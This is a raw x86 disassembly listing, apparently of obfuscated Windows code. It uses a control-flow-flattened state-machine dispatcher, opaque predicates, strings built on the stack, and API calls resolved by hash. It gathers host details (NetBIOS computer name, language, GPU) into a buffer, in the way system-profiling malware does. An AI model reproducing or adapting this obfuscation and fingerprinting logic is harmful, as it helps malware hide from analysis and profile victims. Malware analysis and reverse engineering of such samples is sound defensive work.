imul eax, eax, 0x1b0
and eax, 0xffffe000
mov dword [esi + 8], eax
mov dword [esi], 0x191d7f5e
jmp 0x428eab
mov dword [esi], 0xf27d07c3
jmp 0x428eab
mov eax, dword [esi + 0x60]
mov byte [eax + 0xc], 0
mov dword [eax + 8], 0x203a6567
mov dword [eax + 4], 0x6175676e
mov dword [eax], 0x614c202d
mov dword [esi], 0x60309fe9
jmp 0x428eab
mov dword [esi], 0x852c33ef
jmp 0x428eab
imul edi, dword [esi + 4], 0x186
add edi, 0xffffd871
shr edi, 0xe
mov dword [esi + 4], edi
push edi
push 0xdc2
push 0x62a2
call fcn.004202e8
add esp, 0xc
mov eax, 0x852c33ef
cmp edi, 0x81
je 0x42c15e
mov eax, 0x945a1970
jmp 0x42c15e
imul eax, dword [esi + 8], 0x270a7b8
shr eax, 5
mov dword [esi + 8], eax
mov dword [esi], 0x85a0590a
jmp 0x428eab
mov eax, dword [esi + 4]
shl eax, 9
add eax, 0xf6600000
and eax, 0xffe00000
imul eax, eax, 0x8f
mov dword [esi + 4], eax
mov dword [esi], 0x5577d6d4
jmp 0x428eab
call fcn.0041f8c0
mov dword [esi + 0x110], eax
mov dword [esi], 0x2bab38c
jmp 0x428eab
mov eax, dword [esi + 4]
shl eax, 6
add eax, 0x2480
mov dword [esi + 4], eax
mov dword [esi], 0x5b1bebb4
jmp 0x428eab
imul eax, dword [esi + 8], 0x8c00000
mov dword [esi + 8], eax
mov dword [esi], 0x1a4911e2
jmp 0x428eab
push 1
push 0x8000
call fcn.0043ddca
add esp, 8
mov dword [esi + 0xb8], eax
mov eax, dword [esi + 0x24]
mov dword [esi], 0x4616c898
jmp 0x428eab
mov eax, dword [esi + 0x10]
add eax, 0x18
mov dword [esi + 0x13c], eax
mov dword [esi], 0x3dfe9f86
jmp 0x428eab
mov edi, dword [esi + 4]
mov eax, 0x118
add edi, eax
mov dword [esi + 4], edi
push edi
call fcn.00428e94
add esp, 4
push 0x3a81
push 0x5f49
push edi
call fcn.004202e8
add esp, 0xc
mov eax, 0x23a84c3f
cmp edi, 0xae
jl 0x42c15e
mov eax, 0x63769277
jmp 0x42c15e
mov eax, dword [esi + 0x68]
mov dword [eax + 4], 0x203a55
mov dword [eax], 0x5047202d
push dword [esi + 0x68]
push dword [esi + 0xc]
call fcn.0043ece0
add esp, 8
mov eax, dword [esi + 0x1c]
add eax, 0x24
push eax
push dword [esi + 0xc]
call fcn.0043ece0
add esp, 8
push dword [esi + 0xc]
call fcn.0043eec0
add esp, 4
mov ecx, dword [esi + 0xc]
mov word [ecx + eax], 0xa
mov eax, dword [esi + 0x20]
mov dword [esi], 0xf92a381c
jmp 0x428eab
mov eax, dword [esi + 0xc]
add eax, dword [esi + 0xec]
mov dword [esi + 0xf0], eax
mov dword [esi], 0x6d604315
jmp 0x428eab
mov eax, dword [esi + 0x18]
add eax, 8
mov dword [esi + 0xfc], eax
mov dword [esi], 0xdf88943f
jmp 0x428eab
mov dword [esi], 0xe0f28195
jmp 0x428eab
mov dword [esi], 0x902336ea
jmp 0x428eab
push 1
push 0x41
call fcn.0043ddca
add esp, 8
mov dword [esi + 0x10], eax
mov dword [esi], 0x8c107341
jmp 0x428eab
mov eax, dword [esi + 0x120]
mov word [eax], 0xa
push 2
mov edi, 0x55
push edi
call fcn.0043ddca
add esp, 8
mov dword [esi + 0xc4], eax
push 0x454350
push 0x2f9959e0
call fcn.0042e364
add esp, 8
push edi
push dword [esi + 0xc4]
call eax
push 1
push edi
call fcn.0043ddca
add esp, 8
mov dword [esi + 0xc8], eax
mov dword [esi], 0xcc7f3401
jmp 0x428eab
mov eax, dword [esi + 8]
shr eax, 0xd
imul eax, eax, 0xb00
shr eax, 9
and eax, 0xfffffffe
imul eax, eax, 0xb5
mov dword [esi + 8], eax
mov dword [esi], 0xce76a96e
jmp 0x428eab
mov eax, dword [esi + 0x1c]
mov dword [esi], 0x1630e0a1
jmp 0x428eab
imul eax, dword [esi + 8], 0x28eb8000
add eax, 0xe7080000
mov dword [esi + 8], eax
mov dword [esi], 0x3bf921b0
jmp 0x428eab
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x40], eax
sub esp, 0x100
mov eax, esp
mov dword [esi + 0x44], eax
sub esp, 0x1c
mov eax, esp
mov dword [esi + 0x48], eax
sub esp, 0x100
mov eax, esp
mov dword [esi + 0x4c], eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x50], eax
sub esp, 0x10
mov eax, esp
mov dword [esi + 0x18], eax
sub esp, 0x10
mov eax, esp
mov dword [esi + 0x54], eax
mov dword [esi], 0x359a4a84
jmp 0x428eab
push dword [esi + 0xb4]
push dword [esi + 0xc]
call fcn.0043ece0
add esp, 8
push dword [esi + 0xb4]
call fcn.0043e5b4
add esp, 4
push dword [esi + 0xc]
call fcn.0043eec0
add esp, 4
mov dword [esi + 0xd8], eax
mov dword [esi], 0x934be26f
jmp 0x428eab
mov eax, dword [esi + 0x30]
mov dword [esi], 0x8dbaef5b
jmp 0x428eab
mov eax, dword [esi + 0xc]
mov ecx, dword [esi + 0xe8]
mov word [eax + ecx], 0xa
mov dword [esi], 0xf46168c7
jmp 0x428eab
mov eax, dword [esi + 0xc]
add eax, dword [esi + 0xd8]
push 0x21
push str.GyVvdO
push eax
call fcn.004333a0
add esp, 0xc
push dword [esi + 0xc]
call fcn.0043eec0
add esp, 4
add eax, dword [esi + 0xc]
mov dword [esi + 0xdc], eax
mov dword [esi], 0xeec6e15
jmp 0x428eab
push eax
sub esp, 8
mov eax, esp
mov dword [esi + 0x30], eax
sub esp, 0x100
mov eax, esp
mov dword [esi + 0x34], eax
push eax
mov eax, esp
mov dword [esi + 0x14], eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x38], eax
sub esp, 0x100
mov eax, esp
mov dword [esi + 0x3c], eax
mov dword [esi], 0xe88c259a
jmp 0x428eab
mov eax, dword [esi + 8]
shl eax, 0xe
and eax, 0x7fffc000
mov dword [esi + 8], eax
mov dword [esi], 0xd91beb26
jmp 0x428eab
mov eax, dword [esi + 0x134]
mov ecx, dword [esi + 0x13c]
mov dword [ecx], eax
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x138]
mov dword [eax + 0x1c], ecx
mov dword [esi], 0x8bb47ea6
jmp 0x428eab
imul eax, dword [esi + 8], 0x4a54
add eax, 0x5c
shr eax, 2
lea ecx, [eax + eax*4]
lea eax, [eax + ecx*2]
shr eax, 2
mov dword [esi + 8], eax
mov dword [esi], 0x7ee0c740
jmp 0x428eab
mov eax, dword [esi + 0xe0]
mov word [eax], 0xa
push 1
push 0x8000
call fcn.0043ddca
add esp, 8
mov dword [esi + 0xbc], eax
mov dword [esi], 0x99952f51
jmp 0x428eab
mov edi, dword [esi + 4]
shr edi, 0xa
add edi, 0x3a85
and edi, 0xffffffc0
mov dword [esi + 4], edi
push edi
call fcn.00428e94
add esp, 4
mov eax, 0x191d7f5e
cmp edi, 0x7d
jb 0x42c15e
mov eax, 0x5577d6d4
jmp 0x42c15e
mov eax, dword [esi + 4]
shl eax, 0xf
mov edi, 0xe5657a9
add eax, 0xffe10000
mov dword [esi + 4], eax
je 0x42bf0c
mov edi, 0xd03ee743
call fcn.00405998
call fcn.00405998
mov dword [esi], edi
jmp 0x428eab
mov eax, dword [esi + 8]
mov ecx, 0xcd
add eax, ecx
imul ecx, eax, 0xf400
imul eax, eax
imul edx, eax, 0x8455
dec edx
mov dword [esi + 8], ecx
mov ecx, 0x1b7e6718
cmp edx, eax
je 0x42bfee
mov ecx, 0x62687525
jmp 0x42bfee
mov eax, dword [esi + 4]
shl eax, 3
and eax, 0xffffc000
imul edi, eax, 0xf9
add edi, 0xffff41b0
mov dword [esi + 4], edi
push edi
push 0x5566
push 0x35d
call fcn.004202e8
add esp, 0xc
mov eax, 0x94da628
cmp edi, 0x8f
jl 0x42c198
mov eax, 0x46fe4ecc
jmp 0x42c198
mov eax, dword [esi + 4]
mov ecx, eax
shl ecx, 9
add ecx, eax
add ecx, 0x363b1
mov dword [esi + 4], ecx
mov eax, 0xd566001a
cmp ecx, 0x23
jl 0x42c15e
mov eax, 0x71078864
jmp 0x42c15e
mov eax, dword [esi + 8]
add eax, 0x2f
imul ecx, eax, 0x12d74c
imul eax, eax
imul edx, eax, 0x8449
dec edx
shr ecx, 0xc
mov dword [esi + 8], ecx
mov ecx, 0x79499e71
cmp edx, eax
je 0x42bfee
mov ecx, 0x8cba5cd4
mov dword [esi], ecx
jmp 0x428eab
push dword [esi + 0x14]
push dword [esi + 0x4c]
push 4
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov eax, dword [esi + 0x50]
push 0x18
push str.__ComputerNameNetBIOS:
push dword [esi + 0x50]
call fcn.004333a0
add esp, 0xc
mov dword [esi], 0xd5aa8b2b
jmp 0x428eab
mov eax, dword [esi + 8]
shr eax, 0xc
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x4073
shl eax, 0x15
dec edx
add eax, 0xc800000
mov dword [esi + 8], eax
mov eax, 0x1a071f1a
cmp ecx, edx
je 0x42c198
mov eax, 0xc56673a5
jmp 0x42c198
mov eax, dword [esi + 8]
shr eax, 5
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x17a7
shl eax, 0x12
dec edx
add eax, 0xfce40000
mov dword [esi + 8], eax
mov eax, 0xee0e3271
cmp edx, ecx
je 0x42c198
mov eax, 0x614631bb
jmp 0x42c198
imul ecx, dword [esi + 4], 0x4e8000
mov eax, 0x1ab0e90e
add ecx, 0x1ef88000
mov dword [esi + 4], ecx
je 0x42c198
mov eax, 0x5577d6d4
jmp 0x42c198
push eax
sub esp, 0x1c
mov eax, esp
mov dword [esi + 0x6c], eax
mov dword [esi], 0xc92049e7
jmp 0x428eab
imul edi, dword [esi + 4], 0xb7
add edi, 0xffffcb36
mov dword [esi + 4], edi
push edi
call fcn.00428e94
add esp, 4
call fcn.00405998
mov eax, 0x4616c898
cmp edi, 7
je 0x42c198
mov eax, 0xe7ed2c98
jmp 0x42c198
mov eax, dword [esi + 4]
shl eax, 6
add eax, 0xffffe080
shr eax, 1
add eax, 0xffffff8f
mov dword [esi + 4], eax
push 0x19f0
push 0x234a
push eax
call fcn.004202e8
add esp, 0xc
mov dword [esi], 0x4a5f78ac
jmp 0x428eab
mov dword [esi], 0xaa987dfe
jmp 0x428eab
mov edi, dword [esi + 4]
mov eax, 0x1e5
add edi, eax
mov dword [esi + 4], edi
push edi
call fcn.00428e94
add esp, 4
mov eax, 0x9eadd92c
cmp edi, 0xf1
jb 0x42c15e
mov eax, 0x44d0e1d4
mov dword [esi], eax
jmp 0x428eab
imul eax, dword [esi + 8], 0x8c0000
mov dword [esi + 8], eax
mov dword [esi], 0xf22e1b04
jmp 0x428eab
mov eax, dword [esi + 4]
add eax, 0xffffffc6
shr eax, 5
imul ecx, eax, 0x73
mov dword [esi + 4], ecx
mov eax, 0x66024f5d
cmp ecx, 0x64
jge 0x42c198
mov eax, 0x40a4859
mov dword [esi], eax
jmp 0x428eab
mov eax, dword [esi + 0x20]
mov eax, dword [esi + 0x68]
mov eax, dword [esi + 0x1c]
mov eax, dword [esi + 0x64]
mov eax, dword [esi + 0x60]
mov eax, dword [esi + 0x5c]
mov eax, dword [esi + 0x58]
mov eax, dword [esi + 0x54]
mov eax, dword [esi + 0x18]
mov eax, dword [esi + 0x50]
mov eax, dword [esi + 0x4c]
mov eax, dword [esi + 0x48]
mov eax, dword [esi + 0x44]
mov dword [esi], 0x7e7d28fd
jmp 0x428eab
cmp eax, 0xcae7d6f9
jne 0x428eab
mov eax, dword [esi + 0x28]
mov eax, dword [esi + 0x24]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret